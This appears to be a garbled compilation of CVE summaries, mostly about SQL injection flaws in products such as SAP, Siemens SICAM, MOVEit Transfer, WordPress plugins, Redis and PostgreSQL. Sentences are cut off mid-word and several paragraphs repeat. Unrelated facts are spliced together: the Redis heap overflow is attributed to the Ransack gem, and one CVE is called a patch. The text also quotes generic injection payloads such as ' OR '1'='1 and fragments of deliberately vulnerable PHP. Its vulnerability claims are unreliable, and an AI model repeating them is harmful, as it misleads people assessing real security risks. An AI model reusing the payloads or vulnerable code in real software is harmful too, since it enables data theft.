a at <https://www.securifera.com/advisories/cve-2022-48586/>.
oes not properly sanitize user input before appending it to a SQL command. For instance, if a user can s
ion vulnerability to carry out actions such as unauthorized viewing of data, deleting or altering data, e
admin brand portal' feature of ScienceLogic SL1. It arises due to the application accepting unsanitized u

[securifera.com/advisories/cve-2022-48585/](https://www.securifera.com/advisories/cve-2022-48585/)

allows an attacker to manipulate backend database queries by injecting malicious SQL code. This can le
ous input that includes SQL code. When this input is processed by the 'admin brand portal' feature of S
ossible that at the time of the disclosure or inquiry, the assessment was not yet completed or availabl
njection example in pseudocode might look like this: ``sqlString userInput = "" OR '1'='1"; // This is the
prepared statements with parameterized queries, employing ORM (Object-Relational Mapping) tools,
e all versions before V07.10 are affected. This particular vulnerability arises because the database serv
ftware should ensure they are running version V07.10 or later to be protected against this specific vuln
CAM TOOLBOX II is installed. Since the database service runs with 'NT AUTHORITY\SYSTEM' privileges,
ommands with elevated system privileges. This can lead to a full system compromise where the attack
mens. The advisory can be accessed through the following link: <https://cert-portal.siemens.com/prod>
base score is a metric given by the Common Vulnerability Scoring System (CVSS) to reflect the severity
was officially disclosed to the public, allowing users and administrators to become aware of the issue
a system running an affected version of SICAM TOOLBOX II could exploit the vulnerability to execute a
V5.4. It concerns an SQL injection flaw that allows unauthenticated remote attackers to execute arbitr
372.

ially crafted SQL queries to the affected application. By manipulating the input, the attacker could perf
loss, manipulation of data, or access to sensitive information. This could compromise the confidentiality
that addresses CVE-2023-37372. Users should upgrade to this version or later to mitigate the vulnerab
by Siemens at <https://cert-portal.siemens.com/productcert/pdf/ssa-472630.pdf>.

re typically reflects the severity of the vulnerability, and it would be determined by an organization su

SQL queries on the server database, which may lead to privilege escalation.

ite the database, extract sensitive data, modify database entries, or potentially give an attacker elevat

ied by Siemens at: <https://cert-portal.siemens.com/productcert/pdf/ssa-472630.pdf>.

o publicly available code examples. However, a generic SQL injection exploit may involve the manipula
version V5.4 or later, where the vulnerability has been addressed. Additionally, employing input validi
nding a crafted request to the RUGGEDCOM CROSSBOW application. This request includes malicious S
4.

I password hashes in the backend database and comparing them with the user-provided one during a l
ied a base score.

'ersion 16.7 in the security notes provided by SAP at the following URLs: <https://me.sap.com/notes/33>

1 attacker triggering the login process and monitoring the memory on the client's machine to extract t1
refer to the security notes released by SAP for CVE-2023-37484. Following the URLs mentioned in the
flaw involves improper access control, allowing an unauthenticated attacker to potentially run arbitrar

ne the information was released, the severity of this vulnerability had not yet been determined. cuments. The SAP note related to this CVE is at <https://me.sap.com/notes/3341460>, and additional do execute arbitrary SQL queries against the back-end database. This could lead to unauthorized data acc code examples would depend on the attacker's intended actions. Generally, an attack might involve s he official SAP notes and documents for patches or workarounds specific to the vulnerability. It is also se, where prior to version 23.7.4.0, the application made calls to the requests library with the `verify=False` performed due to the use of `verify=False` in HTTP requests. This created a vulnerability to man-in-the-middle attacks with SSL certificate checking disabled, like this: ````pythonimport requestsresponse = requests.get('https://version 23.7.4.0 or later. This version incorporates a fix where SSL certificate validation is performed in itHub repository, particularly within the commit linked in the CVE's references, or in the security advise

erability identified by CVE-2023-38487 allowed users to create notes with an alias that matches the ID endpoint in HedgeDoc with the '`<ALIAS>`' parameter set to the ID of an existing note. Attackers could c

can disable the freeURL mode by setting `allowFreeURL` or `CMD_ALLOW_FREEURL` to `false`. Additionally, a note being inaccessible, possibly causing a denial of service. Furthermore, attackers could manipulate the note through the standard interface, its content remains intact. The vulnerability was reported on GitHub (<https://github.com/hedgedoc/hedgedoc/pull/4476/commits/781263ab84255885e>).

0.43.7.3, 0.44.7.3, 0.45.4.3, 0.46.6.4, 1.43.7.3, 1.44.7.3, 1.45.4.3, and 1.46.6.4. on a Metabase server.

ed in-memory database connection string to include code that is then executed by the process running on port 45.4.3, 0.46.6.4, 1.43.7.3, 1.44.7.3, 1.45.4.3, and 1.46.6.4, which resolve the issue by removing the ability to craft a malicious connection string that includes executable code. When this string is validated, the application will check if the connection string contains any executable code and if it does, it will reject the connection.

visory at <https://github.com/metabase/metabase/security/advisories/GHSA-p7w3-9m58-rq83>.
✓ if relative cache objects were pointing to the designated absolute location when accessing resources.

or restricted network by manipulating the handling of relative cache objects to point to arbitrary locations. Any access is confined to the defined root directory. Access to resources outside the root directory should be disabled. References: - Packet Storm Security at <http://packetstormsecurity.com/files/173943/OX-App-Suite-SSRF-SQL-Injection>. Last as of the information shared.

The `taxmanager` module for PrestaShop is CVE-2023-33493.

The file explorer module for PrestaShop before version 2.3.1 allows remote attackers to upload dangerous files via a vulnerability.

op through version 2.3.0.

es of dangerous types without restrictions. This could lead to the execution of arbitrary code, defacement, or type such as a PHP script to the server running the vulnerable PrestaShop Ajaxmanager module. Once triggered, this leads to a denial of service. This was reported under CVE-2023-38503.

A directus API endpoint did not properly check permission filters from version 10.3.0 to version 10.5.0. This could result in unauthorized access to data.

The best way to mitigate this issue, if possible, is to disable GraphQL subscriptions.

Directus API endpoint did not properly check permission filters from version 10.3.0 to version 10.5.0. This could result in unauthorized access to data. To mitigate this issue, you can refer to the pull request at <https://github.com/directus/directus/pull/19155> and the security advisory for Directus API endpoint affected by CVE-2023-38503, allowing unauthorized users to potentially receive updates related to GraphQL subscriptions. Due to the vulnerability, permission filters are not properly enforced for IoT devices. It involves a crash issue when a UDF (User Defined Function) nested query is run. A crafted query using a User Defined Function (UDF) was executed. This vulnerability would impact any instance of Directus API endpoint that has not updated to this version or later to remediate the issue.

Vocera Report Console and Voice Server versions 5.x up to 5.8. This flaw involves a Path Traversal vulnerability during an Unzip operation. An attacker can craft a ZIP archive containing a SQL import file but with file paths altered to include directory traversal sequences. These servers are part of a solution used in healthcare and other industries. This could lead to a denial of service by sending a crafted nested query with a UDF to the TDengine database. This was reported under GHSA-w23-2023-001.

interested parties can visit the official website under the product security sections provided in the references: <https://www.stryker.com/>. Interested parties can visit the Stryker Cyber Security website, specifically their product security page, to check the severity of CVE-2022-46898, one would need to check official vulnerability databases or contact Stryker directly. They could then issue commands to perform a Path Traversal issue that occurs via the 'report' file, which contains a path-traversal payload in the filename. This payload is intended to escape the

place for the database restoration process of the Vocera Report Server and Voice Server. With the capability to craft a ZIP archive containing a SQL import file but with file paths altered to include directory traversal sequences. These servers are part of a solution used in healthcare and other industries. This could lead to a denial of service by sending a crafted nested query with a UDF to the TDengine database. This was reported under GHSA-w23-2023-001.

interested parties can visit the official website under the product security sections provided in the references: <https://www.stryker.com/>. Interested parties can visit the Stryker Cyber Security website, specifically their product security page, to check the severity of CVE-2022-46898, one would need to check official vulnerability databases or contact Stryker directly. They could then issue commands to perform a Path Traversal issue that occurs via the 'report' file, which contains a path-traversal payload in the filename. This payload is intended to escape the

place for the database restoration process of the Vocera Report Server and Voice Server. With the capability to craft a ZIP archive containing a SQL import file but with file paths altered to include directory traversal sequences. These servers are part of a solution used in healthcare and other industries. This could lead to a denial of service by sending a crafted nested query with a UDF to the TDengine database. This was reported under GHSA-w23-2023-001.

interested parties can visit the official website under the product security sections provided in the references: <https://www.stryker.com/>. Interested parties can visit the Stryker Cyber Security website, specifically their product security page, to check the severity of CVE-2022-46898, one would need to check official vulnerability databases or contact Stryker directly. They could then issue commands to perform a Path Traversal issue that occurs via the 'report' file, which contains a path-traversal payload in the filename. This payload is intended to escape the

place for the database restoration process of the Vocera Report Server and Voice Server. With the capability to craft a ZIP archive containing a SQL import file but with file paths altered to include directory traversal sequences. These servers are part of a solution used in healthcare and other industries. This could lead to a denial of service by sending a crafted nested query with a UDF to the TDengine database. This was reported under GHSA-w23-2023-001.

ccount on a computer with the vulnerable SteelSeries GG software installed. They can manipulate the ; CVE-2023-31462. The exploitation would involve database manipulation; however, it is not responsib for Mac and Windows version 2022.1. This vulnerability is a SQL injection issue that could potentially ; on can compromise the integrity of a database and allow an attacker to access, modify, or delete data. ?2022.1 version for both Mac and Windows.

here Esri ArcGIS Insights Desktop is installed. Additionally, the attacker must put in a significant effort t ; It is recommended that users of the affected version, which is 2022.1, apply the security patches to r ArcGIS Insights Desktop environment might attempt to manipulate the application's input fields or co ately apply the security patches provided by Esri to address CVE-2023-25839. They should also ensure isdiscusses the security patches for ArcGIS Insights 2022.1. You can visit the provided reference link to vie iIS Enterprise, which allows a remote, authorized attacker to potentially execute arbitrary SQL commal input to manipulate SQL queries and execute arbitrary SQL commands on the back-end database. This terprise.

of the database, data theft, and potentially further system compromise, depending on the nature and c erenced in the provided URL (<https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/>

o supplies a malicious input through a vulnerable input field or parameter, such as a string that contain

for Data 4.0, which involves an insecure password policy for a CouchDB server it connects to. This vuln icity for the CouchDB server that IBM Planning Analytics Cartridge for Cloud Pak for Data 4.0 uses. They

..

age and the IBM support page, accessible via the following links: <https://exchange.xforce.ibmcloud.co> hDB instance being used by the IBM Planning Analytics Cartridge. They would then attempt to access t ored in the CouchDB database. This could result in the compromise of personal information, intellectu Database Server that affects versions 19.3-19.19 and 21.3-21.10. It is classified as difficult to exploit bu ..3-21.10.

:h Create Session and Create Procedure capabilities.

as a Base Score of 3.1 mainly for the integrity impacts it can cause. The vulnerability, if exploited succe

s available at <https://www.oracle.com/security-alerts/cpujul2023.html>.

leges within an organization's network—specifically, the privileges to create sessions and procedures—n their latest Critical Patch Update (CPU) as soon as possible. Additionally, organizations should adheri olitation of vulnerabilities like CVE-2023-22052. The primary goal is to protect systems by applying ne acle Database Server. This vulnerability affects specific supported versions, namely 19.3 to 19.19 and 2

his vulnerability, an attacker would need high-level privileges, specifically the SYSDBA privilege, along 'orm unauthorized actions such as creating, deleting, or modifying critical data or all data accessible by

page at <https://www.oracle.com/security-alerts/cpujul2023.html>.

romised account with SYSDBA privileges. The attacker could exploit the vulnerability over the network tches provided by Oracle for the affected versions as outlined in the Critical Patch Update (CPU) that ir of Oracle Database Server that affects certain versions. Specifically, the supported versions 19.3-19.19 w severity. The score indicates that the integrity of the system could be compromised if the vulnerabil

. This represents that the vulnerability is accessed through the network (AV:N), has a high attack complexity (AC:H) and a low impact level (I:L).

<https://www.oracle.com/security-alerts/cpujul2023.html>, which likely contains details about the vulnerability discovered by the attacker. Oracle's Advanced Networking Option contains vulnerabilities such as CVE-2023-21949. Our role is to raise awareness about such vulnerabilities and emphasize that they could allow a remote attacker to perform SQL injection. The issue affects versions lower than 1.7.8.2.

the 'product_one_img' parameter of the Ap Page Builder plugin. If the input is not properly sanitized, it is possible to inject SQL code into the database query, leading to SQL injection. This can allow an attacker to retrieve sensitive information stored in the database. This can include user credentials, personal data, proprietary business logic, and other critical information.

3743. However, the best practice is to update the Ap Page Builder plugin to a version higher than 1.7.8, exploiting CVE-2023-3743 could look like this: `product_one_img=1' OR '1='1';--`. This type of code is

erenced in CVE-2022-4023.

gin does not protect against Cross-Site Request Forgery (CSRF) attacks in the modified version of Tiny File Manager. This allows a logged-in admin to submit a form, unknowingly creating an archive of files or directories on the target server. The exploit of CVE-2022-4023 is that it enables an attacker to potentially download the archive after it is created.

k Vulnerability Report: <https://jetpack.com/blog/vulnerabilities-found-in-the-3dprint-premium-plugin/>. It creates a webpage or email with a malicious form and convinces a WordPress admin to visit the page or open it. The exploit involves creating a custom suite for business analytics. This vulnerability involves the creation of HQL (Hibernate Query Language) queries. The `listDocument` method calls the `__countBIOObjects` method of the `__BIOObjectDAOHibImpl` class, although they only need low privileges to leverage this vulnerability.

from the database, including account credentials or business information.

ge. as this issue has been addressed in that version.

Upgrade to the patched version of the software.

malicious HQL queries using the unsanitized `label` parameter. This could lead to the bypassing of a

e of code leading to a similar vulnerability would be something like this in the application logic: ``String feedback system utilizing artificial intelligence for student assessments. Specifically, this vulnerability lies in. Users who authenticate through LDAP login in these earlier versions have their passwords stored in plain text in version 1.19.2. They presumably updated the system to ensure that LDAP user passwords are no longer stored in plain text. However, they did not update the code to prevent unauthorized access to the database where LDAP passwords are stored in clear text. Once accessed, the password can be easily extracted and used to log in to the system. This is a critical security vulnerability that could allow attackers to gain unauthorized access to student accounts. The vendor has released several patches to address this issue. One such patch is CVE-2022-24834.

library used by Redis, an in-memory database with disk persistence. A maliciously crafted Lua script exists at `7.0.12`, `6.2.13`, and `6.0.20`.

ving sources:- The Redis GitHub security advisories page: <https://github.com/redis/redis/security/advisories>. An unauthorized attacker crafting a malicious Lua script that exploits the heap overflow vulnerability in the cJSON library which refers to a stored or persistent cross-site scripting (XSS) vulnerability. This type of vulnerability can be significant. Since the malicious script is stored by the web application, it can potentially affect eve

found in multiple sources such as Debian mailing lists and the Zabbix support system. Debian's mailing user input that includes a malicious script into a web form that doesn't properly sanitize input. The web is vulnerable to CVE-2023-29454: ``php// Example of vulnerable codeif(isset(\$_POST['comment'])) { / | Elements used in an SQL Command' or 'SQL Injection.' It exists in SonicWall GMS (Global Management Analytics versions 2.5.0.4-R7 and earlier.

s an unauthenticated attacker to extract sensitive information from the application database. The attack generic SQL Injection example could be entering a string like ' OR '1='1 into a login form. If the backend is the SonicWall GMS or Analytics applications. The attacker does not need to be authenticated to perform this attack. Packet Storm Security, which provides a file with details: <http://packetstormsecurity.com/files/174571/SonicWall-GMS-SQL-Injection>. The severity of an SQL Injection vulnerability is often high due to the potential impact on confidentiality.

ing, 5.4.10.

s to exploit CVE-2023-3023.

reference links, such as the WordPress plugin tracker at <https://plugins.trac.wordpress.org/changeset> and a WordPress site with the WP EasyCart plugin installed. The attacker could use the 'orderby' parameter in an SQL query if it has not been provided.

democracy framework written in Ruby on Rails. This CVE addresses an issue with the Ransack gem that allows

initially exfiltrate non-public and sensitive data from the underlying database of a Decidim instance, for example by injecting queries using exposed Ransack search functionalities. Since Ransack by default allows filtering on a specific field, this vulnerability can be exploited. However, vulnerabilities like this are often identified by security researchers, users of the software, and others. Examples: - <https://github.com/decidim/decidim/releases/tag/v0.27.3> - <https://github.com/decidim/decidim/releases/tag/v0.28.0>

leading to unauthorized access to sensitive data, potential privacy breaches, and loss of data integrity. This vulnerability was introduced in version 7.0.12 and persists on disk, which was present in versions prior to 7.0.12. The vulnerability involves a heap overflow in the Ransack gem.

MMAND GETKEYSANDFLAGS` command, when executed in a specific, malicious manner.

Redis installations to this version or later to mitigate the vulnerability.

emory, corruption of the heap, and remote code execution on the vulnerable system.

The GitHub release for version 7.0.12 at <https://github.com/redis/redis/releases/tag/7.0.12> - The association between the two commands is that they both accept the 'COMMAND GETKEYS' or 'COMMAND GETKEYSANDFLAGS' command. Additionally, an attacker who can potentially send specially crafted commands, is at risk from CVE-2023-36824. It is important to note that this vulnerability is specific to Redis and does not affect other databases.

CVE-2023-23997.

/database/vulnerability/database-collation-fix/wordpress-database-collation-fix-plugin-1-2-7-cross-simulation

When an administrator is visiting a malicious webpage or clicking a link that includes a forged HTML file, the Dave Jesch Database Collation Fix plugin to a version that patches the vulnerability as soon as possible.

7270.

ersion 13.8.0.

n to the administrator screen of Piwigo, even with low privileges.

attacker to execute arbitrary SQL statements, which could lead to information leakage from the database. A commit at: <https://github.com/Piwigo/Piwigo/commit/978425527d6c113887f845d75cf982bbb62d76> proper escaping of the parameter contents that users can enter should be ensured to prevent the execution of SQL code on the Piwigo administrator screen, even with low privileges. They could manipulate the vulnerable SQL statement to perform Cross-Site Request Forgery (CSRF) attacks, where a malicious payload is available. In general, severity scores are assigned by industry-standard metrics such as the Common Vulnerabilities and Exposures (CVE) database.

bits and vulnerabilities, such as the Exploit Database at <https://www.exploit-db.com/exploits/51511> and a link that simulates a legitimate action, like changing a user's account settings. When an admin with sufficient privileges might look like this: ````if (\$_SERVER['REQUEST_METHOD'] == 'GET' && isset(\$_GET['deleteEmail'])) { \$sql = "DELETE FROM users WHERE id = " . \$_GET['deleteEmail']; } ````. The vulnerability relates to the detail_device functionality of Milesight VPN software, specifically version 2.0.2. The vulnerability relates to the fact that the code contains malicious JavaScript code to the Milesight VPN's server. This code would target the remote_browser of any user who accesses the compromised detail_device functionality within the Milesight VPN. However, users and administrators are advised to check for updates from the vendor and apply any available patches.

Talos Intelligence at the following URL: https://talosintelligence.com/vulnerability_reports/TALOS-2023-1704. XSS vulnerabilities allow attackers to inject client-side scripts into web pages viewed by other users. Attackers could exploit the vulnerability to carry out XSS attacks against users of the application, which could lead to session hijacking or other malicious activities.

arbitrary Javascript code through the 'name' field of the database, targeting the detail_device functionality in the context of a user's browser, potentially leading to the theft of session tokens, personal data, and other sensitive information. Talos Intelligence at https://talosintelligence.com/vulnerability_reports/TALOS-2023-1704.

A request that includes a malicious Javascript payload in the 'name' parameter that is improperly handled or updates provided by Milesight for the VPN software, implementing proper input validation and output encoding for SQL Injection attacks. This means an attacker can manipulate the 'ID' parameter to execute arbitrary SQL queries. The CVSS (Common Vulnerability Scoring System) base score is not explicitly mentioned, but it's difficult to determine the precise severity. This vulnerability has been historically recognized and added to the CVE list.

Specifically, details about the vulnerability are available on the project's GitHub repository at <https://github.com/milesight/milesight-iot-vpn-software/pull/12>, which includes malicious SQL code. For example, if the 'ID' parameter of the system is vulnerable, an attacker could gain unauthorized access to confidential data, manipulate or delete data in the database, or potentially compromise the MOVEit Transfer web application. This security flaw could potentially allow an unauthenticated attack. The affected versions are 12.1.11, 2021.0.9 (13.0.9), 2021.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), and 2023.0.4. Users are advised to keep their systems updated or consult with the vendor for more information.

ding a specially crafted payload to a vulnerable MOVEit Transfer application endpoint. If not properly updated, the web application may be exposed to the latest service pack or version that contains the necessary patches for this vulnerability. To protect your system, visit the official MOVEit product page or the vendor's website and download the latest update. The CVE identifier for this vulnerability is CVE-2023-36932.

Impacted by the SQL injection vulnerabilities identified in CVE-2023-36932: 2020.1.11 (12.1.11), 2021.0.9 (13.0.9), 2021.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), and 2023.0.4. Future updates will be released as they become available.

/E-2023-36932 include unauthorized access to the MOVEit Transfer database, which could result in the attacker can submit a crafted payload, usually through user input that is not correctly sanitized, to a M service packs for various versions of MOVEit Transfer. Users should update to version 2020.1.11 (12.1.1):

reference URLs: '<https://community.progress.com/s/article/MOVEit-Transfer-2020-1-Service-Pack-July>'. In the fixes for CVE-2023-36932, keeping their installations updated to versions 2020.1.11 (12.1.11), 20 would involve an authenticated attacker crafting a malicious input, which could be structured SQL code to OpenTSDB.

ed input to the Gnuplot configuration file and then running Gnuplot with the manipulated configuration commit `07c4641471c` and further refined in commit `fa88d3e4b`. These patches are included in the OpenTSDB repository via the config option `tsd.core.enable_ui = true` and remove the shell files `mygnuplot.bat` and `mygnuplot.sh` from the repository of OpenTSDB and associated security advisory URLs. Here are some references:- <https://github.com/OpenTSDB/OpenTSDB/pull/1211>. These patches fix the vulnerability.

cious input that is passed to Gnuplot through OpenTSDB's user interface or API. For instance, a special

on 4.3.5.8788 webserver. It allows attackers to obtain sensitive information about configured database

server running on the default port 5080. By doing so, the attacker can potentially list and access files, thus exposing them to the public on port 5080.

authorized disclosure of file contents, access to sensitive information, and potentially helping an attacker to exploit the vulnerability. Some examples of exploited vulnerabilities include 'https://www.mcl-collection.com/index.php' and '<https://www.exploit-db.com/exploits/51542>'.

fixed by MCL-Net for version 4.3.5.8788 webserver. They should also consider restricting access to the vulnerable plugin in versions prior to 3.8.1. It is characterized by insufficient sanitization of database inputs, which can lead to SQL injection attacks. An attacker can insert malicious SQL code into an application's database query due to improper sanitization of inputs. This allows the attacker to perform various malicious actions, including unauthorized viewing, modification, or deletion of data. These inputs are then submitted to the WordPress plugin's backend. To fix this vulnerability, users should upgrade the Custom 404 Pro WordPress plugin to version 3.8.1 or later, which contains the necessary patches to fix the issue.

The exploit for this vulnerability is <https://wpscan.com/vulnerability/17acde5d-44ea-4e77-8670-260d22e1>. The exploit for CVE-2023-2032 might look like this in PHP, assuming that `\$user_input` is manipulated by the attacker and submitted via a form or input field on a website that uses the vulnerable Custom 404 Pro plugin. The attacker would trigger a backup function in the plugin that allows for Sensitive Information Exposure. Specifically, versions up to and including 4.4.1.1 are affected. Users of these versions are at risk of sensitive information exposure due to the vulnerability. If a backup occurs and the plugin fails to delete backup files, unauthorized users can download them. To fix this issue, users should upgrade the MainWP Child plugin to the latest available version that addresses this security issue. As general security best practices, users should keep their WordPress site up-to-date with security patches, including the official WordPress plugins changeset page and threat intelligence websites. The reference URL for this exploit is '<https://www.exploit-db.com/exploits/51542>'.

es, emails, and phone numbers can be exposed, potentially compromising the security of user accounts. To fix this issue, users should upgrade DataEase to version 1.18.8 or later, which contains the necessary fix for the privilege bypass vulnerability. There are no known workarounds for this issue.

bypass vulnerability to access the user database without proper authorization. Once inside, they could do so on GitHub, which is available at the following URL: <https://github.com/dataease/dataease/security/advisories>. The issue affects users making use of version 1.22.0 to yield incorrect resource lists when making negative authorization decisions. This could be exploited by an attacker to gain unauthorized access to sensitive data or functionality.

isions. This can lead to inappropriate denial of access to legitimate subjects or the granting of access to possible to resolve the vulnerability. For users who cannot immediately upgrade, it is recommended to consult the GitHub pull request at <https://github.com/authzed/spicedb/pull/1397>, and the security advisory for more information. These decisions can be dangerous because it may not accurately reflect the full set of users or entities that have been granted access.

The vulnerability to gain unauthorized access to resources by observing the resources not listed by 'Looks', which is susceptible to Unauthenticated Blind SQL Injection through the 'id' parameter. This issue applies parameters and not adequately preparing the SQL query. This permits attackers to inject additional text without authentication, an attacker can manipulate SQL queries by exploiting the 'id' parameter, leading to version 4.0.1.

ized disclosure of sensitive data, database corruption, loss of data integrity, and potentially further co

<https://plugins.trac.wordpress.org/changeset/2929891/mstore-api/trunk/controllers/helpers/vendor-wcl>

It is an unauthenticated Time-Based SQL injection (SQLi) vulnerability that affects parameters such as date_from, date_to, or id_product. By doing so, the attacker sends a request to the affected application with a URL similar to this: `http://example.com/products?date_from=2023-01-01&date_to=2023-01-31`. If the application does not apply patches or updates provided by the software developers, if available. Other important steps include the public reference URL: <https://flashy-lemonade-192.notion.site/Time-Based-SQL-injection-in-QloA>, which is an application development framework built on top of Flask. The vulnerability allowed an attacker to successfully exploit this vulnerability, they can retrieve all the data from the application's database.

ask-AppBuilder application.

Administrators should start to remove expired and/or least-recently used Resource Record Sets (RRsets) from the configuration files. This issue was reported to the Internet Systems Consortium (ISC) knowledge base at <https://kb.isc.org/docs/cve-2023-2828>, security researchers have demonstrated that sending crafted queries to a vulnerable BIND server, choosing specific Resource Record Sets (RRsets), can lead to various implications for the stability and availability of the BIND server. It may lead to performance degradation or denial-of-service attacks.

gement feature of Devolutions Server, which allows an administrator to view users' vaults of deleted u

[://devolutions.net/security/advisories/DEVO-2023-0014](https://www.devolutions.net/security/advisories/DEVO-2023-0014).
cess exploiting the improper deletion vulnerability. Once a user is deleted from the Devolutions Server

here a local attacker can modify the database security settings, such as the master password and second base settings by a local attacker. This issue exists because changes to critical security settings can be m

; the GitHub issue trackers at '<https://github.com/keepassxreboot/keepassxc/issues/9339>' and '<https://github.com/keepassxreboot/keepassxc/issues/9340>' for their password before making changes to database settings adds no additional protection against a local access to a machine where KeePassXC is in use with an active session. The attacker could simply complement the FINS protocol. The vulnerability exists because the protocol utilizes plaintext communication, which allows messages to be intercepted and read without encryption, and (2) the lack o

cluding the Japan Vulnerability Notes (JVN), the US Cybersecurity and Infrastructure Security Agency (C e FINS communications, execute unauthorized commands on the devices, compromise the integrity ar

SQL injection vulnerability that could allow an unauthenticated attacker to gain unauthorized access t 1.6), 2022.0.6 (14.0.6), 2022.1.7 (14.1.7), and 2023.0.3 (15.0.3).

yload to a MOVEit Transfer application endpoint, potentially resulting in the modification and disclosures of the Dynamic Link Library (DLL) for MOVEit Transfer. The fixed versions are 2020.1.10 (12.1.10),

Progress Community Article: <https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability>
query that is designed to manipulate the database query performed by the MOVEit Transfer applicatio 2021.0.8 (13.0.8), 2021.1.6 (13.1.6), 2022.0.6 (14.0.6), 2022.1.7 (14.1.7), and 2023.0.3 (15.0.3). Users c action. It involves insufficient validation for user input, allowing an unauthenticated remote attacker to

ecially crafted payload to the login function, like 'admin' OR '1'='1. This payload is an attempt to trick t

www.twcert.org.tw/tw/cp-132-7161-3e7c9-1.html

wing or extraction of sensitive data from the database, alteration or deletion of database records, and ng in the web interface and REST API of STARFACE, where it allows authentication using the SHA512 h TARFACE is a brand that offers VoIP telephony systems with integrated communication solutions.

s page at '<https://www.redteam-pentesting.de/en/advisories/>' and the specific advisory related to this mechanism by using a stolen or intercepted SHA512 password hash instead of the cleartext password. Thi ication with password hashes. While storing hashed passwords is a security best practice to protect pa ord, potentially via a database breach, phishing, or other attack methods. Once in possession of the ha ure that only cleartext passwords are accepted during the login process. Password hashes should neve ervices. Specifically, it concerns the use of a hard-coded cryptographic key utilized to generate admini user could exploit the hard-coded cryptographic key to generate an invalid administrator cookie. This cookie and obtain administrative privileges in the FactoryTalk Policy Manager database. This access co er would need to be authenticated as a non-admin user and have local access to the system where the

ation support page at: https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/117376. An employee with legitimate, non-administrative access to the system could exploit the vulnerability to grant elevated privileges.

ions 1.1 to 1.3.2.

reliable password that may persist after the installation of the software.

It is possible for some site installations to choose to store personal data.

bulletin at <https://www.bd.com/en-us/about-bd/cybersecurity/bulletin/alaris-infusion-central-recoverable-password>. It is not available or not applicable.

Using the recoverable password to gain access to the Alaris Infusion Central software system. Depending on the configuration of the software, an attacker could then exploit the vulnerability to gain access to a company's entire customer file, prospects, suppliers, and employee information.

base dump and access a company's entire customer file, prospects, suppliers, and employee information. The vulnerability has been made public through commits in their GitHub repository, as well as discussed in their forum.

The vulnerability can be found in the following GitHub commits: bb7b69ef43673ed403436eac05e0bc31d5033ff7 and 1. It is present in the Dolibarr installation to version 16.0.5 or later, which includes the necessary security patches to resolve the vulnerability. An attacker who discovers the vulnerability on a company's Dolibarr installation could then exploit it to gain access to a company's entire customer file, prospects, suppliers, and employee information.

An attacker who discovers the vulnerability on a company's Dolibarr installation. The attacker could then exploit it to gain access to a company's entire customer file, prospects, suppliers, and employee information.

in SIMATIC PCS 7, SIMATIC S7-PM, and SIMATIC STEP 7 V5, where remote users with low privileges can use the vulnerability to gain access to a company's entire customer file, prospects, suppliers, and employee information. The vulnerability is present in SIMATIC PCS 7, SIMATIC S7-PM, and SIMATIC STEP 7 V5 (specifically versions before V5.7).

The following link: <https://cert-portal.siemens.com/productcert/pdf/ssa-968170.pdf>.

The vulnerability is referenced by CVE-2023-25910.

An attacker could exploit the vulnerability to gain access to a company's entire customer file, prospects, suppliers, and employee information. They could start by identifying the network share or local database system, specific code examples are generally not publicly available. However, the underlying issue is that the system allows for low-level user access to the network. They could then use the vulnerability to exploit the system using specially crafted inputs that can manipulate database commands, such as SQL injection. This could result in unauthorized access to sensitive information, data breach, and other malicious activities.

such as the SAP Support Launchpad at '<https://launchpad.support.sap.com/#/notes/1794761>' and SAP ERP. The vulnerability is present in SAP ERP, where input that, when processed by the MDS COMPARE TOOL, could alter database queries or commands. The attack pattern involves an SQL injection or a similar attack pattern where input is not properly sanitized. Unfortunately, the status of the vulnerability is 'N/A', which is indicated by 'N/A'.

are vulnerable according to CVE-2023-34468.

It is possible for some site installations to choose to store personal data.

Using the recoverable password to gain access to the Alaris Infusion Central software system. The vulnerability is present in Alaris Infusion Central.

It is possible for some site installations to choose to store personal data.

ache NiFi's security page, Packet Storm Security, Openwall oss-security mailing list, and Cyfirma.

as the authorization to modify controller service configurations. The attacker could configure a DBCPC 58.

eb application. It exists in versions before 2021.0.7 (13.0.7), 2021.1.5 (13.1.5), 2022.0.5 (14.0.5), 2022. application endpoint of MOVEit Transfer. If the endpoint is vulnerable to SQL injection, this payload car 5 (13.1.5), 2022.0.5 (14.0.5), 2022.1.6 (14.1.6), and 2023.0.2 (15.0.2). Users of MOVEit Transfer should

such as the archive link '<https://archive.is/58ty7>' or the community progress article at '<https://communi>sfer's database. An attacker could potentially read, modify, or delete sensitive data, causing data bre

ssment criteria such as the CVSS (Common Vulnerability Scoring System) may be used to provide a qu

id which allows a local attacker to create a persistent denial of service condition by manipulating the a

attack.

entially corrupting them or making them unusable, which would lead to a persistent denial of service f

vulnerability has not been scored yet according to the Common Vulnerability Scoring System (CVSS).

references: <https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29767/CVE%20detailed>ec application to function properly, as a persistent denial of service would prevent users from using the : l or authorized access to the device running CrossX. The attacker might use a malicious script or manu

d is CVE-2023-29766.

ording to CVE-2023-29766.

ting the database files of CrossX v.1.15.3 for Android. By gaining unauthorized access or modifying the

<https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29766/CVE%20detailed.md>.

access to the Android device, or malware that has managed to get onto the device. The attacker or ma

id. It's a vulnerability that allows unauthorized applications to create a persistent denial of service by t

orized apps having the ability to manipulate database files within the FlightAware app for Android.

at '<https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29759/CVE%20detailed.md>'.
talled on the same device as FlightAware v.5.8.0, gains access to the FlightAware app's database files.
ded here, and such examples could be potentially harmful, it's generally not advisable to share them. I
ision as soon as a patch becomes available. Additionally, users should practice safe app installation hab
ight in how row security policies process user ID changes after inlining. Due to this flaw, PostgreSQL m
atabase's row-level security mechanisms. If an attacker exploits this vulnerability, they might be able t
h CREATE POLICY, and a query is planned under one role and then executed under another. An attack
fic implementation of row-level security policies, here is a conceptual representation of a scenario that
row-level security policy enforcement when the user role changes. An attacker could create or use ex

ed Hat CVE Database: <https://access.redhat.com/security/cve/CVE-2023-2455>- NetApp Security Advis

in database calls could allow an authenticated attacker with elevated database-level privileges to exec

QL official security page.

ed Hat security advisory page (<https://access.redhat.com/security/cve/CVE-2023-2454>), NetApp securi
ed privileges manipulating database calls to bypass search_path protections and executing malicious \$
